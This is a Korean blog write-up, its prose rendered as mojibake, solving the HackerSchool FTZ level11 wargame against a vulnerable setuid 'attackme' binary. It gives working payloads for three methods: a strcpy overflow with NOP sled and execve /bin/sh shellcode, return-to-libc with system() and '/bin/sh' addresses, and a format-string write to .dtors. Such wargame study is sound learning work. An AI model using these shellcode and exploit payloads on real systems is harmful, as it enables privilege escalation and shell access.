HackerSchool_level11
keyword : strcpy bof
keyword : printf Format String
keyword : NOP
level11 - Write Up(NOP)
ํํธ๊ฐ ์ฝ๋๋ค์... ์ ์ฝ๋๋ฅผ ๋ณด๋ฉด argv๋ผ๋ main์ธ์์ ๊ฐ์ ๋ฐ์์ ์ถ๋ ฅํ๋ค์
setreuid๊ฐ ์๊ธฐ์ level12๋ก ํฅํ๋ ๋น๋ฒ์ ๊ถํ์ ์ทจ๋ํ ์ ์๋ต๋๋ค.
BOF์ ์ทจ์ฝํ ๋ํ์ ์ธ ํจ์๊ฐ strcpy์ด๋๊น bof๋ก main์ ret๋ฅผ ์กฐ์ํ๋ฉด ๋๊ฒ ๋ค์
์ฐธ๊ณ ๋ก ์ ํจ์์์ bof ์ทจ์ฝ์ ์ ๋ง์๋ ค๋ฉด strncpy๋ก ํ๋ฉด ๋์ ใ
๊ทธ๋ผ ๋ฆฌ๋ฒ์ฑ์ผ๋ก ํ์ธํด๋ณผ๊น์?
์.. ๋ณด์๋ฉด ํ๋กค๋ก๊ทธ๊ฐ ์์ ๊ฐ์ด ๋์์์ผ๋ฉฐ, <main+3>์ ์ด์
์ฝ๋๊ฐ $0x108, %esp๋ก์จ
์๊น ์ฝ๋์์ ๋ณธ char str[256]์ ํฌ๊ธฐ๋ฅผ ์ ๋ ๊ฒ esp๋ก์จ ๊ณต๊ฐ ํ ๋นํ๊ฑฐ๋ค์
0x108๋ฅผ ๋ณํํ๋ฉด.. 264byte๋ก ๋์ค๋ค์
๊ทธ๋์ ์ค์ ๋ก ์
๋ ฅํ buf๊ฐ๊ณผ ํฌ๊ธฐ๊ฐ ๋ค๋ฅผ ์ ์์ผ๋๊น ํญ์ ํ์ธ ใฑใฑ
์ฌ๊ธฐ์ ๋ชจ๋.. ์ด๋ผ๋๊ฒ ๋ฑํ ์ค์น ์๋์ด ์๋๊ฑฐ ๊ฐ์ผ๋๊น ๋ฐ๋ก shellcode๋ฅผ ์ฐพ์์ ๋ฃ์ด๋ด
์๋ค.
์ฐธ๊ณ ๋ก shellcode(268byte; buf[264]+sfp[4]) + ret(4byte)๋ก ํ๋ฉด ๋๊ฒ ์ฃ ?
์ฐธ๊ณ ๋ก ์์ ์๋ strcpy์ ๋ฐํ๊ฐ ์ฆ, ret๋ฅผ ๋ฃ์ผ๋ฉด ๋๊ฒ ์ฃ ?(๊ฑฐ๊ธฐ์์ ์ ์ฝ๋๋ฅผ ๋ฃ์ด์ค๊ฑฐ๋๊น..)
Offensive Security’s Exploit Database Archive
www.exploit-db.com
์ฌ๊ธฐ์ shellcode๋ฅผ ์ป์ ์ ์์ด์.. ๊ทผ๋ฐ ๋ณด๋๊น ๋ญ ์ฐ๋ฆฌ๊ฐ ์ํ๋ 264byte ํฌ๊ธฐ์
shellcode๋ ์์ผ๋๊น(์ ์ ์ฐพ์๋ดค๋ค๋ง..) dummy๋ฅผ ์ฑ์์ ํด์ผ๊ฒ ๋ค์
๊ทผ๋ฐ ๋ฌธ์ ๋ ์ ๊ธฐ์ ์๋ ์ ์ฝ๋๋ค์ด ์ ์ ํตํ๋ค์.. ๊ทธ๋์ ๊ตฌ๊ธ๋ง์ ๋ ํ๊ฒ ๋ฌ์ฃ
๊ทธ๋ฌ๋ฉด์ ์ ์ฝ๋ ๋ชจ์๋์ ์ ๋ฆฌ๋ ๋ธ๋ก๊ทธ๋ฅผ ์ฌ๋ ค๋๋ฆด๊ป์
์์ฝ๋ ๋ฉ๋ชจ
32bit (1)๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ผ๋ก ์์ ๋์ฐ๋ ์ฝ๋ \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 \x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe..
blog.kimtae.xyz
25byte shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
์.. ์ ๊ธฐ์ ๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ผ๋ก ์์ ๋์ฐ๋ ์ฝ๋๋ฅผ ์ฌ์ฉํด๋ด ์๋ค.
์ฐธ๊ณ ๋ก ์ ๋ ๋ ์์ธํ ์ด์
์ด ์ ๋๋๋ผ๊ณ ์...
์ด๊ฑด.. ๋ฌด์จ;; ์ด์ level10์ด๋ ๋๊ฐ์ ๋ฌธ์ ๊ฐ์์ tmp๋ก ๋ณต์ฌํด์ ์งํํด์ผ๊ฒ ๋ค์ ํ..
์ง๋! ์ด์ ๋ ๊ฑฐ์์ ๊ทธ๋ผ ํ ๋ชจ์ต์ ์ค๋ช
ํ๊ธฐ๋ณด๋จ ์บก์ฒํ ๋ชจ์ต์ ๋์ดํด์ ๋ณด์ฌ๋๋ฆด๊ป์
์๋ง ๊ธ๋ฐฉ ์ดํด๋์ค ๊ฑฐ์์
`python -c 'print "\x90"*243 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "AAAA"'`
์.. ์์ ๊ฐ์ด ํ์ด๋ ์๋ง ์๋ ๊ฑฐ์์ ๋ฐ๋ก ASLR์ด ๊ฑธ๋ ค์๊ฑฐ๋ ์..
ํ.. ์ด์ฉ์ง ๊ณ์ ๋ฐ๋๋๋ผ ํ.. ๊ทผ๋ฐ ๋ฐ๋ณต๋ฌธ์ผ๋ก ๊ณ์ ๋๋ ค๋ณด์๋ฉด ์ธ์ ๊ฐ ๋ ์ง๋ ใ
ใ
ใ
๊ทธ๋ ๊ฒ ํ ์๋ ์๋๋ฐ ๋น์ถ๊ธด ํด์
level11 - Write Up(RTL)
ASLR์ ๊ดํ ๋ด์ฉ๊ณผ ์ฐํ ๋ฐฉ๋ฒ์ ์๋ ๋ ๊ฐ์ ๋งํฌ์์..
Mitigation: NX & ASLR
์์คํ ๋ณด์์ ์ง๋ ์๋ ๊ฐ ๋ฐ์ ํด์จ ๊ณต๊ฒฉ ๊ธฐ๋ฒ๊ณผ ๋ณดํธ ๊ธฐ๋ฒ์ ๋ฐ์ ์์์ ๋ณด์๋ฉด.. ์ด๋ค ๋ณดํธ ๊ธฐ๋ฒ์ด ๋ฑ์ฅํ๋ฉด ์ฐํ ๊ธฐ์ ๋ ๋ฑ์ฅํฉ๋๋ค.. ์ด๋ ๊ฒ ์ด๋ค ๊ณต๊ฒฉ์ด ์ฌ์ง ๋ชจ๋ฅด๊ธฐ์ ์์คํ ๊ฐ๋ฐ์๋ค
dystopia050119.tistory.com
Background: Library - Static Link vs. Dynamic Link
๋ผ์ด๋ธ๋ฌ๋ฆฌ ๐ ์ฌ๋ฌ ์ปดํ์ผ ์ธ์ด๋ค์ ์์ฃผ ์ฌ์ฉ๋๋ ํจ์๋ค์ ์ ์๋ฅผ ๋ฌถ์ด์ ํ๋์ lib ํ์ผ๋ก ์์ฑ ์ด๋ฅผ ์ฌ๋ฌ ํ๋ก๊ทธ๋จ์ด ๊ณต์ ํด์ ์ฌ์ฉํ ์ ์๋๋ก ์ง์ํฉ๋๋ค. ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ๋ฉด ๊ฐ
dystopia050119.tistory.com
์ธ์์ ๋ฃ๋ ๋ถ๋ถ์ RET๋ฅผ ์ฐํํ ๋ ค๊ณ ํ์ผ๋.. ASLR์ด ๊ฑธ๋ ค์๊ธฐ์ RTL๋ก ํด์ผ๊ฒ ์ฃ
ldd์ ๋ช
๋ น์ด์ nm ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ(gdb ํด์ด ์ ๊ฐ ์ฐ๋๋ฐ๋ก ์ปค์คํ
์ด ์๋์ด ์์ด์ ใ
)
์์ ๊ฐ์ด ์ฌ์ฉํ๋ฉด. 0x4203f2c0์ผ๋ก ์์น๋ฅผ ํ์ธ ํ ์ ์์ต๋๋ค.(__libc_..๋ ์์น๊ฐ ๊ฐ๊ฒ ์ฃ ?)
ldd ๋ช ๋ น์ด
nm ๋ช ๋ น์ด
์.. ๊ทธ๋ผ ๋ฃ์ด์ ํ์ธ์ ํด๋ด ์๋น
๊ทธ ์ ์ RTL์ด๋๊น ํด๋น system ๋ฌธ์์ด์ ๋ค์ด๊ฐ ์ ์๋ ๋ฌธ์์ด ์ฆ, binsh์ ๋ฌธ์์ด๋ ์ฃผ์๋ฅผ ํ์ธํด์ ๋ฃ๊ฑฐ๋,
์
๋ ฅํด์ ๋ฃ์ด์ผ๊ฒ ์ฃ .. ์ ๋ง ์ฝ๊ฒ ๊ฐ๋ ๋ฒ์ด ์๋ค์ ใ
์.. strings๋ผ๋ ๋ช ๋ น์ด๋ ์ฌ์ฉํ ๊ป์ ์ฌ์ฉ๋ฒ์ ์์ ๋ช ์๋์ด ์์ผ๋๊น ์ฐธ๊ณ ๋ฐ๋์
์ฐธ๊ณ ๋ก libc๊ฐ ๋๊ฐ์๊ฑฐ ์ฐ๋๊น..(0x42๊ฐ ์๋ตํ๋ค? 4byte๊ฐ ์์ด์ผํ๋๊น ใ
) 0x42127ea4๊ฒ ์ฃ !!
์.. ๊ทธ๋ผ ๋ค ๋๋ฌ์ฃ
exploit code ํ์
dummy(268{buf[264] + sfp[4]}) + system_addr(8) + dummy(4) + Binsh(4)
์ ์ ๋ฐ ์์ผ๋ก ๊ตฌ์ฑ๋๋์ง๋.. ์๋ ๋งํฌ์์ ํ์ธํด์ฃผ์ธ์
๊ทผ๋ฐ Canary๋ ํฌํจ๋์ด ์์ด์.. ์ฃ์กํด์ ๋๋ฌด ์ง์ณ์ ใ
Exploit Tech: Return to Library
Return To Library NX๋ก ์ธํด ๊ณต๊ฒฉ์๊ฐ ๋ฒํผ์ ์ฃผ์ ํ ์ ธ ์ฝ๋๋ฅผ ์คํํ๊ธฐ๋ ์ด๋ ค์์ก์ง๋ง, ์ด์ ํ BOF๋ ๊ฐ๋ฅ! ๊ทธ๋์ ๊ณต๊ฒฉ์๋ค์ ์คํ ๊ถํ์ด ๋จ์์๋ ์ฝ๋ ์์ญ์ผ๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์
dystopia050119.tistory.com
๋ฐ์ ์๋ฃ๋ ROP ํน์ Chaining RTL์ ๋ฐฉ์์ผ๋ก๋ ๋๋๋ฐ ์ฌ์ ์ผ๋ก ์ด์ง๋ฌ์์ ใ
Exploit Tech: Return Oriented Programming
Return Oriented Programming ROP : ๋ฆฌํด ๊ฐ์ ฏ์ ์ฌ์ฉํ์ฌ ๋ณต์กํ ์คํ ํ๋ฆ์ ๊ตฌํํ๋ ๊ธฐ๋ฒ ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์ด์ฉํด ๋ฌธ์ ์ํฉ์ ๋ง์ถฐ RTL/Return to dl-resolve/GOT overwrite ๋ฑ์ ์ด์ฉํด ํ์ด๋ก๋๋ฅผ ๊ตฌ์ฑํฉ..
dystopia050119.tistory.com
๊ทธ๋ผ ์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด...
./attackme `python -c 'print "\x90"*268 + "\xc0\xf2\x03\x42" + "\x90"*4 + "\xa4\x7e\x12\x42"'`
์.. level12๊ฐ ๋์ผํ๋๋ฐ.. ์๋๋ค์??
์๋ง๋ setUID๊ฐ ์๋๊ฑฐ ๊ฐ์๋ฐ tmp๋ผ์ ๊ทธ๋ฐ๊ฑฐ ๊ฐ๋ค์ ๋์์ ๊ถํ ํ์ธ์ ํด๋ณด๋ฉด..
์ฌ์ฉ์ ๊ณ์ ์ด ๋ค๋ฅธ ๊ฑธ ํ์ธํ ์ ์์ฃ ๊ทธ๋ฌ๋ฉด level12๊ฐ ๋์ด ์๋ attackme์ ์ ๊ทผํด์ ์ฝ๋๋ฅผ ์ ์ฉํ๋ฉด..
level12 : it is like this
level11 - Write Up(FSB)
์์ ๊ฐ์ด printf์ ๊ดํ format์ ์ค์ ์ ํ๋๋ ์ง์ ์ ์ ํ๊ธฐ์ ์ทจ์ฝํ๋ต๋๋ค.
์ฐธ๊ณ ๋ก ํด๋น ์ทจ์ฝ์ ์ C๊ณ์ด์์ ์ฃผ๋ก ๋ฐ์๋๋ฉฐ, ์์ธ์ ํ๋ก๊ทธ๋๋จธ์ ์ค์์
๋๋น
์ธ์๋ฅผ ๋ฌด์์ผ๋ก ์ถ๋ ฅํ ๊ฑด์ง ํด๋น ์ง์ ์ ์ ํ๊ธฐ์ ์ฐ๋ฆฌ๊ฐ ์์๋ก ์ง์ ํ ์ ์๋ ๊ฒ์ด๊ฒ ์ฃ
๊ทธ๋ผ ๋ฐ๋ก ์ค์ต์ผ๋ก ๋์ด๊ฐ๊น์? ์ค๋ช
์ ์์์ ๋ค ํ์ผ๋๊น
์์ ๊ฐ์ด ์ง์ ์ ์ ํด์ค๋ค๋ฉด ์ ํฌ๊ฐ ์ง์ ํ format์ ํ์์ ๋ฐ๋ผ ์ถ๋ ฅํ๋ค๋ ๊ฑธ ํ์ธ
๊ทธ๋ฌํ๋ค๋ฉด ์ ํฌ์ ์ํฉ์ ๋ง๊ฒ ์ ๋ณด๋ฅผ ๊ตฌํด๋ณผ๊น์
๊ทธ๋ฌํ๋ค๋ฉด printf์ function์ ์ข
๋ฅ ์ค์์ ์ด๋ฌํ ์ค๋ฅ๊ฐ ์ด๋ฌ๋๋ ์ด์ ๊ฐ ๋ญ๊น์?
๋ฐ๋ก printf์ ํจ์๊ฐ ํฌ๋งท ์คํธ๋ง์ ์์ ์ง์ ์์ ๊ฐ์๋ฅผ ํ์ธ X ์ด๊ธฐ ๋๋ฌธ์ด์ฃ
์ฆ, printf์ ํฌ๋งท ์คํธ๋ง์ ๋ํ ๋ชจ๋ ์ธ์๊ฐ ์ ๋ฌ๋๋ค๋ ๊ฐ์ ํ์ ์คํ๋๊ธฐ์ ์คํ์ ๊ฐ์ ์ฐพ๊ณ ์ถ๋ ฅ
์ด๋ฌํ ํ์์ผ๋ก ์ถ๋ ฅ๋๊ธฐ์ ์ํํ ์ทจ์ฝ์ ์ด๊ฒ ์ฃ
Format String Bug; FSB Tip
%x์ %n์ด ๊ฐ์ฅ ๋ณดํธ์ ์ผ๋ก ์ค์ํฉ๋๋ค.
%x : 16์ง์๋ก ์ถ๋ ฅโ%n : ์์ ์ด ๋์ค๊ธฐ ์ ๊น์ง์ ๋ฌธ์๋ฅผ ์ฝ๊ธฐ & ์์ ์ด ๊ฐ๋ฅดํค๋ ์ฃผ์์ ์ ์ฅ
์ ๋๊ฐ์ง๋ฅผ ํตํด ํด๋น ์ฃผ์์ ์์น์ ๋ช ๋ น์ด(Exploit Code) ์ฝ์ ๋ฑ์ด ๊ฐ๋ฅํ์ฃ
์ฐธ๊ณ ๋ก %Nc(or %N$c๋ก ๋์ผํ๋๋ฐ ์๋๋ค;;)๋ก N์ ๊ฐ๋งํผ ์ฝ์ด๋๋ฆด ์๋ ์์ด์
๋ฌผ๋ก ๋ค์ํ ๋ฐฉ์์ผ๋ก๋ ์ ๊ทผ ๊ฐ๋ฅํ๋ต๋๋ค(%p ๋ฑ์ด ์์ฃ )
์ด๋ฐ ์์ผ๋ก 4๋ฒ์งธ ์ธ์์ ์ฐ๋ฆฌ๊ฐ ๋ฃ์๋ ๋ฌธ์ AAAA๊ฐ ์ถ๋ ฅ๋๋ค๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
๊ทธ๋ผ ํด๋น ์ธ์๊ฐ ์ด๋๊น์ง ๋ฐ์๋๋ฆฌ๋์ง๋ ํ์ธํด๋ด
์๋ค.
์ ์ด๋ฏธ์ง๋ฅผ ๋ณด์๋ฉด 4๋ฒ์งธ์ ์ธ์ ์ดํ์๋ ๊ณ์ ๊ฐ์ ๋ด์ฉ์ด ๋ฐ๋ณต๋๋ค๋ ์ ์ ํ์ธ ํ ์ ์์ต๋๋ค.
๊ทธ๋ฌ๊ธฐ์ 4๋ฒ์งธ ์ธ์๊ฐ ์คํ๋๋ ๊ถํ์ผ๋ก์จ ret์ ์ฃผ์์ ์์น๋ก์จ ํ์ฉํ๋ค๋ฉด..
level12๋ก ๊ถํ ์์นํ ์ ์๊ฒ ์ฃ !(ํด๋น ์ฃผ์๋ก shellcode๋ฅผ ์คํ์ํจ๋ค๋ฉด level12๋ก ์คํ๋ ๊ฑฐ๋๊น)
๊ทธ๋ฌ๋ฉด ์ด๋ค ์์ผ๋ก ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฌ๋๊ณ ์ด๋ค ์์ผ๋ก ํดํน์ด ์งํ ๋๋์ง ์งง๊ฒ ์์๋ณด๊ณ ๋์ด๊ฐ์๋ค.
FSB์ ํ์์ ์ด๋ป๊ฒ ๋ ๊น..
์ ํ์์ ๋ณด์๋ฉด ์ ์ ์์ง๋ง printf์ ์ ๋จ๊ณ์์ ๋ธํฌ๋ฅผ ๊ฑธ๊ณ ํ์ธ์ ํ ๋ชจ์ต์ด๋ฉฐ,
์๋ ๋ฉ๋ชจ๋ฆฌ ์์๋๋ฅผ ๋ณด์๋ฉด์ ์ค๋ช
์ ์ด์ด๊ฐ์๋ฉด..
sfp(main์ชฝ์ EBP ) |
ret(main ์ชฝ) |
break point |
dummy |
↓ |
AAAA |
↓ |
sfp |
ret |
๋ก์จ ๋ฉ๋ชจ๋ฆฌ๊ฐ ๊ตฌ์ฑ๋๋ค๊ณ ์ถ์ ํ ์ ์๊ฒ ๋ค์ ๊ทธ๋ฌํ๋ค๋ฉด
ํด๋น ์ํ๋ system(ํน์ ์ ์ฝ๋์) ์ฃผ์๋ฅผ ๋ฃ๊ณ ๋ค์ ๋๋ฏธ๊ฐ์ผ๋ก ํ๋ค๋ฉด ์ด๋ป๊ฒ ๋ ๊น์?
์์๋ก ์์์ ์ฃผ์์ธ 0xffeeddcc์ ๋ค์ ์์ ์ง์ ์๋ก์จ %n๊ณผ ๊ฐ์ ์์์ง์ ์๋ฅผ ๋ฃ๋๋ค๋ฉด
์ํ๋ ์ฃผ์์ ์๋ ์ฝ๋๊ฐ ์ฑ๊ณต์ ์ผ๋ก ์คํ๋๊ฒ ์ฃ
๋ฌผ๋ก ๊ถํ์ด ์์์ ์ฃผ์์ ๋ญ ๋ฃ์ ๊ฒ๋ ์๊ณ ๊ถํ์ด ์๋์ ์ด๋์ด ์๋๋๊ฑฐ ๊ฐ์๋ฐ
์ ๋ฐ์์ผ๋ก ๋ค์์ผ๋ก ๋๊ฒจ๋ ๋ฌธ์ ์์ด ์ ๋๋๊ฑฐ ๊ฐ์ฃ ?
๊ทธ๋ผ FSB์ ๋ํ์ฌ ๋์ถฉ ์ ๊ฑฐ ๊ฐ์ผ๋ฏ๋ก ์๋๋ฆฌ์ค๊ฐ ์๋์ ๊ฐ๊ฒ ์ฃ
- printf์์ %๋ฌธ์(์์์ง์ ์)๋น ๋ฉ๋ชจ๋ฆฌ๋ 4byte ๋ค๋ก ๊ฐ์ ๋ฐ์ดํฐ๋ฅผ ์ฝ์ด ์ฒ๋ฆฌํจ
- %n์ ์ฌ์ฉํ๋ฉด ์ผ์ด์จ ๊ฐ์ ์ถ๋ ฅํจ
- %Nc๋ฅผ ์ฌ์ฉํ๋ฉด N ๋งํผ ์ถ๋ ฅ ๋ฌธ์ ์๋ฅผ ๋ง๋ฌ
- dtor ํธ์ถ ์ฃผ์(๋ค์ ์ค๋ช
)๋ฅผ shellcode์ ์ฃผ์๋ก ๋ณ๊ฒฝ
- dtor์ ๊ฐ์ ๊ฒฝ์ฐ๋ ๊ณ ์ ์ ์ธ ์์น์์ ๋ช ๋ น์ด ์คํ์ด๊ธฐ์ ์ ์ฉํ๊ฒ ์ฌ์ฉ๋๊ฒ ์ฃ
๊ทธ๋ผ ํด๋น ์ฝ๋์ ์ ์ฝ๋๋ฅผ ๋ถ๋ฌ๋๋ ค์ ๊ทธ ์ฃผ์๋ฅผ ์ฐพ๊ณ ํ์ธํด๋ณผ๊น์?
์์ ์ ์ฝ๋ ์ฃผ์ ๋์์ฃ ? ํ๊ฒฝ๋ณ์์ ๋ฃ์ด์ ๊บผ๋ด๋ ํ์์ผ๋ก ํฉ์๋ค
1 export Shellcode=$(python -c 'print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')cs
์ฐธ๊ณ ๋ก ์ ๊ธฐ export Shellcode=$(..)์ด๋ฐ์์ผ๋ก = ์ฌ์ด์ ๊ณต๋ฐฑ์์ผ๋ฉด ์๋ฌ๋ ์ ์์ผ๋๊น
์ด์ง๊ฐํ์๋ฉด ๋ถ์ฌ์ ์ฌ์ฉํ์๋๊ฒ ์ข์ ๊ฑฐ ๊ฐ์์ ์ฐธ๊ณ ์๋ฃ์์๋ ๊ทธ๋ฐ ์์ผ๋ก ์ค๋ช
ํ๋ค์
์์งํ env.. ์ฐพ๋๋ผ ์ฝ์ง ์ฝ๊ฐ ํ๋๋ฐ
์ ํฌ๊ฐ ๋ฃ์ Shellcode๊ฐ ๋ง ๋ญ๊ฐ์ ธ์๋ค์ ๊ทธ๋ผ ์ฃผ์ ํ์ธ์ ์ํด์..
123456789101112 //level11_Shellcode_addr_check//#include <stdio.h>#include <stdlib.h>int main(int* argc, char** argv[]){char *pathvar;pathvar = getenv("Shellcode");printf("pathvar addr : %p", pathvar);}cs
ํ์ธํด๋ณด๋ฉด.. ์ฃผ์๊ฐ 0xbffffc20์ด๋ค์!
๋ง์ง๋ง์ผ๋ก ์ด printf์ ๋๋๋ ret๊ฐ์ ์ฃผ์๋ง ๊ตฌํ๋ฉด ๋ค ๋๋๋ค์
nm ๋ช ๋ น์ด๋ก ํด๋น ํ์ธ์ ํ์ฌ main์ ์๋ฉธ์๋ฅผ ํ์ธ
.ctors ์์ฑ์ ํจ์๋ main() ์ ์ ์คํ
.dtors ์์ฑ์ ํจ์๋ main() ์ข ๋ฃ ํ์ ์คํ
0x08049610 ์ฃผ์๊ฐ Dtors_End๊ฒ ๋ค์
๋ค ๋๋ฌ๋ค์ exploit ์ฝ๋๋ฅผ ์ง์ค ๋ ์๊ฐํ ์์ฐจ์ ์ผ๋ก ์ค๋ช
์ ํ๋ค๋ฉด
์ ๋ฐ์ ๋งํฌ๋ ๋ฐ์ ๋ถ๋ถ์์ ์ฝ๊ฐ ๋ฉ๋ชจ๋ฆฌ ๋๋๋ ๊ธฐ์ค ์ด๋ฐ๊ฑธ ๋ชจ๋ฅด๊ฒ ๋ค ๊ทธ๋ผ ๋ค์ด๊ฐ์๋ฉด ๋์
Computer Architecture
1. ์ปดํจํฐ ๊ตฌ์กฐ(Computer Architecture) ์ปดํจํฐ ๊ณผํ์์๋ PC์ค๊ณ๋ฅผ ์ฌ๋ฌ ํ๋์จ์ด๊ฐ ๊ฐ๋ฐ๋๊ณ , ์ด๋ค์ ์กฐ๋ฆฝํด์ ์ปดํจํฐ๊ฐ ์์ฑํ ๊ฒ์ด ์ปดํจํฐ ๊ตฌ์กฐ! ๋๋ณด๊ธฐ ๐๊ฐ์๐ ์ปดํจํฐ ๊ตฌ์กฐ(Computer Architecture)
dystopia050119.tistory.com
shellcode addr : 0xbffffc20 [\x20\xfc\xff\xbf]
Dtors : 0x08049610 [\x10\x96\x04\x08]
๊ฐ์ฅ ์ด์์ ์ธ ํ์
[dtor์ ์ฃผ์] + (%8x)*3 + %[์ ์ฝ๋ ์ฃผ์; 0xbffffc10]c + %n
์ผ๋ก ์ฐ๋ฆฌ๊ฐ ์ํ๋ ๊ตฌ์์ด ๋์ผ์ง๋ง ๋ฌธ์ ๋ ๋ฐ๋ก ์ ์ฝ๋๋ฅผ ๋ฃ๋ ๋ถ๋ถ..
์ฌ๊ธฐ์ "0xbffffc20"์ด๋ผ๋ ์ซ์๋ CS(Computer Science)๋ถ๋ถ์์ ๋ณํ ํ๋ ๋์ค์..
๋ฉ๋ชจ๋ฆฌ ์ ์ ์์ ๋ค๋ฅธ ์ซ์๋ก ๋ณํ๊ธฐ์ ํฐ ์ค๋ฅ๊ฐ ์๊ธธ ์ ์์ต๋๋ค.
0xbfffff20๋ 10์ง์๋ก 3,221,225,248์ธ๋ฐ
intํ์ ๋ฒ์๋ -2,147,483,648 ~ 2,147,438,647 ์ด๊ธฐ ๋๋ฌธ์ ์ ๋๋ก ์ธ์์ ํ์งํจ
2. ๋ฐ์ดํฐ์ ์ข ๋ฅ(์ง์, ๋ณด์, ๋ ผ๋ฆฌ ๊ฒ์ดํธ)
๋ณด์ํน์ ๋นํธ์ ์ต๋๊ฐ์ ๋ง๋๋ a+b๊ฐ ์กด์ฌํ๋ค๋ฉด, a์ b๋ ์๋ก 1์ง ๋ณด์ ๊ด๊ณ๋ค.2๋นํธ์ ์ต๋๊ฐ์ 11์ด๋ค. 10 + 1์ ์๋ก 1์ง ๋ณด์๋ค ์ต๋ ํํ์๋ฆฌ ์(modulus)๋ฅผ ํ์ฑํ๋๋ฐ ์๋ก ๋ณด์๊ด๊ณ๋ฅผ ์ด๋ฃจ
yangdongjue5510.github.io
์์ธํ ์ด์ ๋ ์์ ๋งํฌ๋ก.. ์ฌ๊ธฐ์ ์ค๋ช
ํ๋๊ฒ ๋๋ฌด ๊ธธ์ด์ง๋๊น ์๋ ๊ฐ๋จํ ์ค๋ช
์ถ๊ฐ์ ์ผ๋ก ๊ณต๋ถํ๊ณ ์ถ๋ค๋ฉด CS๋ถ๋ถ์ ๊ณต๋ถํด์ฃผ์ธ์ ใ
๊ธฐ๋ณธ์ ์ธ ํ(๋ฉ๋ชจ๋ฆฌ์ ๋ง๊ฒ ๋์ด์.. ๋๋ถ๋ถ ์ด๋ ๊ฒ ํจ)
[dtor ์์ 2byte] + [- ํ์ 2byte] + (%8x)*3 + %[shell ํ์ 2byte addr]c + %n + %[- ์์ 2byte] + %n
๋ฆฌํ ์๋์ ํ์์ผ๋ก ๋ฃ์๊ฑฐ๊ธฐ์ ์ด๋ฐ ํ์์ผ๋ก ๋๋๊ฑฐ ์์ค๊ฑฐ์์
๊ทธ๋ฌ๋ฉด ๋ญ๊ฐ ์ด๋ป๊ฒ ํด์ผํ ์ง ๊ฐ์ด ์ ์ฌ ์ ์์ผ๋ฏ๋ก
[dtor ์์] ← [์ ํ์ 2byte; \xff\xbf\x00\x00; 65471(10์ง์)]
[dtor ํ์] ← [์ ์์ 2byte; \x20\xfc\x00\x00; 8444(10์ง์)]
๋ณด์๋ฉด dtor์ ์ฃผ์๋ฅผ ์ชผ๊ฐฐ์ผ๋ฏ๋ก dtor ์์ ์ฃผ์๋ฅผ ๋ฃ๊ธฐ ์ํด์ %n์ ์ถ๊ฐ ์ฆ, 4byte ๋งํผ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ถ๊ฐ๋จ
๊ทธ๋ฌ๊ธฐ์ 4byte๋ฅผ ๋ก๊ฒจ์ผ์ง dtor์ ๊ฐ๊ฐ ๋ฐ์ดํฐ๊ฐ ์ ๋ค์ด๊ฐ๊ฒ ์ฃ ? ๊ทธ๋์ (%8x)*(3-1)
๋ณด์
[dtor ์์ 2byte] + [4byte dummy] + [- ํ์ 2byte] + (%8x)*2 + %[shell ํ์ 2byte addr]c + %n + %[- ์์ 2byte] + %n
๊ทธ๋ฆฌ๊ณ ์ ํ์ 2byte๋ฃ์๋ผ๊ณ %n์ผ๋ก 4byte๋ฅผ ๋ก๊ฒผ์ผ๋๊น ์ ์์ ๋ฃ์๋ ค๋ฉด
์๋ dtor์ ํ์ ๋ฐ์ดํธ์ ์์น๋ฅผ4byte ๋ฐ์ด์ค์ผ ์ ์์ ์ผ๋ก ์ธ์๋ค์ด ์
๋ ฅ๋๊ฒ ์ฃ ?
์์งํ ์ดํดํ๊ธฐ๊ฐ ์๋น ์ด๋ ต๊ธฐ ๋๋ฌธ์ ์ฒ์ฒํ ์๊ฐํด์ฃผ์๊ณ ๋ชจ๋ฅด์๋ฉด ๋๊ธ๋ก ํด์ฃผ์ธ์
๊ทธ๋ผ payload์ ์๋๋ฆฌ์ค๋ ๋์ถฉ ๊ตฌ์ฑํ์ด์
(์ค์ ๋ก๋ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์ฑ์ ์ค์ ๊ฐ์ ๋ฃ์ ๋ ๋ค์ ์
๋ ฅํด์ผํ ๋ถ๋ถ๋ ์์ง๋ง..)
Payload Exploit
shellcode addr : 0xbffffc20 [\x20\xfc\xff\xbf]
Dtors : 0x08049610 [\x10\x96\x04\x08]
[dtor ์์] ← [์ ํ์ 2byte; \xff\xbf\x00\x00; 65471(10์ง์)]
[dtor ํ์] ← [์ ์์ 2byte; \x20\xfc\x00\x00; 8444(10์ง์)]
./attackme `python -c 'print "\x10\x96\x04\x08" + "AAAA" + "\x12\x96\x04\x08" + "%8x%8x" + "%64514c" + "%n" + "%50145c" + "%n"'`
์์ ๊ฐ์ด ์งฏ์ผ๋ฉฐ ์ ์ฝ๋์ ์ธ์๋ฅผ ๋ฃ์๋ ์ฃผ์์ ์ด ๊ทธ๋๊น์ง ์ถ๋ ฅํ ๋ฌธ์์ ์๋งํผ ๋นผ์ผํด์
(์๋ณธ ๊ฐ - ์ถ๋ ฅ๋ ๊ฐ) + ์ถ๋ ฅ๋ ๊ฐ = ์๋ณธ๊ฐ
๊ทธ๋ฌ๋ฏ๋ก dotr addr(8) + dummy(4) + %8x*2(16) = 24๋งํผ ๋นผ๋ฉด ๋์
